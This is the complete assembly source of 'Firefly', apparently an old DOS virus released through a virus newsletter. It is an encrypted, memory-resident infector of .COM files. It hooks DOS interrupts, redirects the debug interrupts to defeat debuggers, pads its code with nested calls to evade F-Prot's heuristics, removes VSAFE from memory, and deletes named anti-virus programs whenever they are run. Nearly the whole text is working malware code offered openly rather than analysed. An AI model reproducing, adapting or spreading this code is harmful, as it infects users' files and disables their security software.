;FIREFLY virus, by Nikademus.
;
;Firefly is an encrypted, memory resident virus which infects
;.COMfiles on load.  It incorporates code from Proto-T,
;LokJaw and YB-X viruses and, when in memory, attacks a large selection
;of anti-virus programs as they are executed.  Anti-virus programs
;identified by Firefly's execute/load handler are deleted.
;Firefly incorporates simple code from previous issues of the newsletter
;designed to de-install generic VSAFE resident virus activity
;filters designed for Microsoft by Central Point Software.  It
;contains instructions - specifically a segment of pseudo-nested
;loops - which spoof F-Protect's expert system generic virus
;identification feature.
;
;FIREFLY also includes a visual marker tied to the system timer
;tick interrupt (1Ch) which slowly cycles the NumLock, CapsLock
;and ScrollLock LEDs on the keyboard.  This produces a noticeable
;twinkling effect when the virus is active on a machine.
;
;Anti-anti-virus measures used by Firefly vary in effectiveness
;dependent upon how a user employs software.  For example, while
;Firefly is designed to delete the Victor Charlie anti-virus
;shell, VC.EXE, a user who employs the software packages utilities
;for generic virus detection singly, will not be interfered with
;by the virus. Your results may vary, but the virus does effectively
;delete anti-virus programs while in memory unless steps are taken
;beforehand to avoid this.
;
;Firefly incorporates minor code armoring techniques designed to thwart
;trivial debugging.



               .radix 16
    code       segment
               model  small
               assume cs:code, ds:code, es:code

               org 100h

len             equ offset last - start
vir_len         equ len / 16d                    ; 16 bytes per paragraph
encryptlength   equ (last - begin)/4+1



start:
               mov bx, offset begin        ; The Encryption Head
               mov cx, encryptlength       ;
encryption_loop:                            ;
               db      81h                 ; XOR WORD PTR [BX], ????h
               db      37h                 ;
encryption_value_1:                         ;
               dw      0000h               ;
                                           ;
               db      81h                 ; XOR WORD PTR [BX+2], ????h
               db      77h                 ;
               db      02h                 ; 2 different random words
encryption_value_2:                         ; give 32-bit encryption
               dw      0000h               ;
               add     bx, 4               ;
               loop    encryption_loop     ;
begin:
               jmp virus
               db     '[Firefly] By Nikademus $'
               db     'Greetings to Urnst Kouch and the CRYPT staff. $'
virus:
               call    bp_fixup                 ; bp fixup to determine
bp_fixup:                                        ; locations of data
               pop     bp                       ; with respect to the new
               sub     bp, offset bp_fixup      ; host

Is_I_runnin:
               call    screw_fprot              ; screwing
               call    screw_fprot              ; heuristic scanning
               call    screw_fprot              ;
               call    screw_fprot              ;
               call    screw_fprot              ;
               call    screw_fprot              ;
               call    screw_fprot              ;
               call    screw_fprot              ;
               call    screw_fprot              ;
               call    screw_fprot              ;
               push    ds
               push    es
               mov     ax,2C2Ch                 ;
               int     21h                      ; call to see if runnin
               cmp     ax, 0FFFh                ; am i resident?
               jne     cut_hole                 ;
fix_victim:
               pop     es                       ; replace victims 3 bytes
               pop     ds                       ;
               mov     di,050h                  ; stops one of SCAN's
               add     di,0B0h                  ; generic scan attempts
               lea     si, ds:[vict_head + bp]  ; (scan only worked on
               mov     cx, 03h                  ; unencrypted copies
               rep     movsb                    ; regardless)
Bye_Bye:
               mov     bx, 100h                 ; jump to 100h
               jmp     bx                       ; (start of victim)
cut_hole:
               mov     dx, 5945h                ; pull CPAV (MSAV)
               mov     ax, 64001d               ; out of memory
               int     16h                      ; (This also screws with
                                                ;  TBCLEAN ???????)

               call    screw_fprot              ; more screwing of
               call    screw_fprot              ; heuristic scanning
               call    screw_fprot              ;
               call    screw_fprot              ;
               call    screw_fprot              ;
               call    screw_fprot              ;

               mov     bx,cs                    ; reduce memory size
               dec     bx                       ;
               mov     ds,bx                    ;
               cmp     byte ptr ds:[0000],5a    ;
               jne     fix_victim               ;
               mov     bx,ds:[0003]             ;
               sub     bx, 100h                 ; # of 16byte paragraphs
               mov     ds:0003,bx               ; to grab (4k)
Zopy_me:
               xchg    bx, ax                   ; copy self to the new
               mov     bx, es                   ; 'unused' part of memory
               add     bx, ax                   ;
               mov     es, bx                   ;
               mov     cx,len                   ;
               mov     ax,ds                    ;
               inc     ax                       ;
               mov     ds,ax                    ;
               lea     si,ds:[offset start+bp]  ;
               lea     di,es:0100               ;
               rep     movsb                    ;

Hookroutines:                  ; interrupt manipulation (Happy!, Happy!)
               xor     ax, ax                    ;     (Joy!, Joy!)
               mov     ds, ax
               push    ds                        ; push 0000h
               lds     ax, ds:[1Ch*4]
               mov     word ptr es:old_1Ch, ax   ; save 1C
               mov     word ptr es:old_1Ch+2, ds
               pop     ds
               push    ds
               lds     ax, ds:[21h*4]            ; get int 21h
               mov     word ptr es:old_21h, ax   ; save 21
               mov     word ptr es:old_21h+2, ds
               mov     bx, ds                    ; bx = ds
               pop     ds
               mov     word ptr ds:[1h*4], ax    ; put int 21h into 1 and 3
               mov     word ptr ds:[1h*4+2], bx  ; this should screw
               mov     word ptr ds:[3h*4], ax    ; most debuggers
               mov     word ptr ds:[3h*4+2], bx
               mov     word ptr ds:[21h*4], offset Firefly ; put self in 21
               mov     ds:[21h*4+2], es                    ;
               mov     ds:[1Ch*4+2], es
               mov     word ptr ds:[1Ch*4], offset Lights  ; hook 1C
               jmp     fix_victim
Lights:                                     ; keyboard lights changer...
                                           ; found in NIKTRKS1.ZIP
               push    ax                  ; save these
               push    bx                  ;
               push    cx                  ;
               push    dx                  ;
               push    si                  ;
               push    di                  ;
               push    ds                  ;
               push    es                  ;

               push    cs
               pop     ds
               push    cs
               pop     es
               cmp     [click], 63d         ; after 63 clicks
               je      one
               cmp     [click], 126d        ; after 126 clicks
               je      two
               cmp     [click], 189d        ; after 189 clicks
               je      three
               cmp     [click], 0ffh        ; have we counted to 255?
               je      clear
               inc     [click]              ; increase click count
               jmp     endme
clear:          mov     [click], 00h         ; clear click count
               mov     ax, 40h
               mov     ds, ax
               mov     bx, 17h              ; ds:bx = location o' flags
               and     byte ptr [bx],0      ; clear keyboard flag(s)
               jmp     endme
one:            inc     [click]
               mov     ax, 40h
               mov     ds, ax
               mov     bx, 17h
               mov     byte ptr [bx],20h    ; set numlock flag
               jmp     endme
two:            inc     [click]
               mov     ax, 40h
               mov     ds, ax
               mov     bx, 17h
               mov     byte ptr [bx],40h    ; set caps lock flag
               jmp     endme
three:          inc     [click]
               mov     ax, 40h
               mov     ds, ax
               mov     bx, 17h
               mov     byte ptr [bx],10h    ; set scroll lock flag
endme:
               pop     es
               pop     ds
               pop     di
               pop     si
               pop     dx
               pop     cx
               pop     bx
               pop     ax
               jmp     dword ptr cs:[old_1Ch]     ; Go to old int 1Ch
               db      'Psalm 69'
screw_fprot:
               jmp  $ + 2                 ;  Nested calls to confuse
               call screw2                ;  f-protect's heuristic
               call screw2                ;  analysis
               call screw2                ;
               call screw2                ;
               call screw2                ;
               ret                        ;
screw2:                                    ;
               jmp  $ + 2                 ;
               call screw3                ;
               call screw3                ;
               call screw3                ;
               call screw3                ;
               call screw3                ;
               ret                        ;
screw3:                                    ;
               jmp  $ + 2                 ;
               call screw4                ;
               call screw4                ;
               call screw4                ;
               call screw4                ;
               call screw4                ;
               ret                        ;
screw4:                                    ;
               jmp  $ + 2                 ;
               ret                        ;
               db      'Every day is Halloween'
Firefly:
               pushf                              ; Am I checking if
               cmp     ax,2c2ch                   ; I am resident?
               jne     My_21h                     ;
               mov     ax,0FFFh                   ; If so, return
               popf                               ; 0FFFh in AX
               iret                               ;

My_21h:
               push    ax                         ; save these
               push    bx                         ;
               push    cx                         ;
               push    dx                         ;
               push    si                         ;
               push    di                         ;
               push    ds                         ;
               push    es                         ;
check_for_proper_calls:
               cmp     ah, 4Bh                    ; executed?
               je      chk_com
               cmp     ah, 3Dh                    ; open?
               je      chk_com
               cmp     ah, 43h                    ; attribs?
               je      chk_com
               cmp     ah, 6Ch                    ; extended open?
               je      extended

notforme:
               pop     es
               pop     ds
               pop     di
               pop     si
               pop     dx
               pop     cx
               pop     bx
               pop     ax
               popf
               jmp     dword ptr cs:[old_21h]     ; The End
               db      'Happiness in Slavery'
extended:
               mov     dx, si                     ; now a normal open
chk_com:
               mov     word ptr cs:victim_name,dx
               mov     word ptr cs:victim_name+2,ds
               cld
               mov     di,dx
               push    ds
               pop     es
               mov     al,'.'                     ; find the period
               repne   scasb                      ;
               call    avtest
               cmp     ax, 00ffh                  ; WAS the program an AV?
               je      notforme
               cmp     word ptr es:[di],'OC'      ; is i a .(CO)M?
               jne     notforme
Grab_24:                                           ; hook interrupt 24
               push    ds                         ; by direct writes to
               push    dx                         ; interrupt vector
               xor     ax, ax                     ; table
               mov     ds, ax                     ;
               mov     dx, offset new_24h         ;
               mov     word ptr ds:[24h*4], dx    ;
               mov     word ptr ds:[24h*4+2], es  ;
               pop     dx
               pop     ds

open_victim:
               push    cs
               pop     es
               lds     dx, cs:victim_name       ; get and save attributes
               mov     ax, 4300h                ;
               int     3h                       ;
               jc      notforme                 ; error handler
               push    cx                       ;
               push    ds                       ;
               push    dx
               mov     ax, 4301h                ; clear attribs
               xor     cx, cx                   ;
               int     1h                       ;
               jc      notforme
               mov     ax,3D02h                 ; open victim
               lds     dx, cs:victim_name       ;
               int     3h                       ;
               jc      notforme                 ; error handler
               push    cs                       ;
               pop     ds                       ;
               xchg    ax, bx                   ; put handle in proper place
get_date:                                        ; get and save date
                                                ; and time
               mov     ax,5700h
               int     3h
               push    cx                       ; save time
               push    dx                       ; save date

check_forme:
               mov     ah,3fh                       ; read 1st 3 bytes
               mov     cx,03h                       ;
               mov     dx,offset vict_head          ;
               int     1h

               mov     ax, 4202h                    ; point to end
               xor     cx, cx                       ;
               xor     dx, dx                       ;
               int     3h                           ;

               mov     cx, word ptr [vict_head+1]   ; possible jump location
               add     cx, last-start+3             ;
               cmp     ax, cx                       ; already infected?
               jz      save_date                    ;
               push    ax
get_random:
               mov     ah, 2Ch                      ; dx and (cx-dx)
               int     3h                           ; will be to two
               or      dx, dx                       ; encryption values
               jz      get_random                   ;
write_virus:
               mov     word ptr [offset encryption_value_1], dx
               mov     word ptr [offset e_value_1], dx
               sub     cx, dx
               mov     word ptr [offset encryption_value_2], cx
               mov     word ptr [offset e_value_2], cx
               pop     ax
               mov     si, ax                       ; fix BX offset in head
               add     si, ((offset begin-offset start)+100h)
               mov     word ptr [offset start+1], si

               mov     si, offset start             ; copy virus to buffer
               mov     di, offset encryptbuffer     ;
               mov     cx, last-start               ;
               rep     movsb                        ;

               sub     ax, 03h                          ; construct jump
               mov     word ptr [offset new_jump+1], ax ;
               mov     dl, 0E9h                         ;
               mov     byte ptr [offset new_jump], dl   ;
Encryptvirus_in_buffer:
               push    bx                                   ; encrypt copy
               mov bx, offset ((begin-start)+encryptbuffer) ; in encrypt-
               mov cx, encryptlength                        ; buffer
e_loop:                                                      ;
               db      81h                                  ; XOR [bx]
               db      37h                                  ;
e_value_1:                                                   ;
               dw      0000h                                ; scrambler #1
               db      81h                                  ; XOR [bx+2]
               db      77h                                  ;
               db      02h                                  ;
e_value_2:                                                   ;
               dw      0000h                                ; scrambler #2
               add     bx, 4                                ;
               loop    e_loop                               ; loop

               pop     bx
               mov     ah, 40h                      ; write virus
               mov     cx, last-start               ;
               mov     dx, offset encryptbuffer     ;
               int     1h                           ;

               mov     ax, 4200h                    ; point to front
               xor     cx, cx                       ;
               xor     dx, dx                       ;
               int     1h                           ;

               mov     ah, 40h                      ; write jump
               mov     dx, offset new_jump          ;
               mov     cx, 03h                      ;
               int     3h                           ;
save_date:
               pop     dx                        ; Date
               pop     cx                        ; Time
               mov     ax,5701h                  ;
               int     1h
                                              ;
close_file:                                    ;
               mov     ah,03Eh                ; Close file and restore
               int     3h                     ; attribs
               mov     ax, 4301h              ;
               pop     dx                     ;
               pop     ds                     ; This is the end...
               pop     cx                     ; My only friend, The End.
               int     3h                     ;       - Jim Morrison
               jmp     notforme               ;
new_24h:
               mov     al,3                   ; Critical Error (Mis)handler
               iret                           ;
               db      'The land of Rape and Honey'

               ; This area is the "intelligence" of Firefly
               ; It looks for known AV names which it then deletes.
               ; So it sort of shuts down the computers "immune system"
avtest:
               cmp     word ptr es:[di-3],'MI'    ;Integrity Master
               je      AV                         ;*IM

               cmp     word ptr es:[di-3],'XR'    ;*rx
               je      AV                         ;

               cmp     word ptr es:[di-3],'PO'    ;*STOP
               jne     next1                      ;(VIRSTOP)
               cmp     word ptr es:[di-5],'TS'    ;
               je      AV                         ;

next1:          cmp     word ptr es:[di-3],'VA'    ;*AV  i.e. cpav
               je      AV_Detected                ;(TBAV) (MSAV)

               cmp     word ptr es:[di-3],'TO'    ;*prot  f-prot
               jne     next2                      ;
               cmp     word ptr es:[di-5],'RP'    ;
               jne     next2                      ;
AV:             jmp     AV_Detected                ; must be equal

next2:          cmp     word ptr es:[di-3],'NA'    ;*scan  McAffee's
               jne     next3                      ;(TBSCAN)
               cmp     word ptr es:[di-5],'CS'    ;
               je      AV_Detected                ;

               cmp     word ptr es:[di-3],'NA'    ;*lean  CLEAN..
               jne     next3                      ; why not eh?
               cmp     word ptr es:[di-5],'EL'    ;(TBCLEAN)
               je      AV_Detected                ;

next3:          cmp     word ptr es:[di-3],'CV'    ; Victor Charlie
               je      AV_Detected                ; default  *VC

               cmp     word ptr es:[di-3],'KC'    ; VCHECK
               jne     next4                      ; (Victor Charlie)
               cmp     word ptr es:[di-5],'EH'    ; (TBCHECK) *HECK
               je      AV_Detected                ;
next4:
               cmp     word ptr es:[di-3],'ME'    ; TBMEM
               jne     next5                      ; *BMEM
               cmp     word ptr es:[di-5],'MB'    ;
               je      AV_Detected                ;
next5:
               cmp     word ptr es:[di-3],'XN'    ; TBSCANX
               jne     next6                      ; *CANX
               cmp     word ptr es:[di-5],'AC'    ;
               je      AV_Detected                ;
next6:
               cmp     word ptr es:[di-3],'EL'    ; TBFILE
               jne     next7                      ; *FILE
               cmp     word ptr es:[di-5],'IF'    ;
               je      AV_Detected                ;
next7:
               ret
AV_Detected:
               mov     ds, word ptr cs:[victim_name + 2] ; The Victim
               mov     dx, word ptr cs:[victim_name]
               mov     ax, 4301h                    ; Clear it's attribs
               mov     cx, 00h                      ;
               int     1h
               mov     ah, 41h                      ; Delete It.
               int     3h                           ;
               ret                                  ;
               db      'Its Dead Jim'

vict_head       db  090h, 0cdh, 020h                 ; 3 bytes of storage
old_21h         dw  00h,00h                          ; int 21 storage
old_1Ch         dw  00h,00h
click           db  00h
last:

; The heap........   junk not needed in main program

victim_name     dd  ?
new_jump        db  090h, 090h, 090h
encryptbuffer   db       (last-start)+1 dup (?)
code            ends
               end start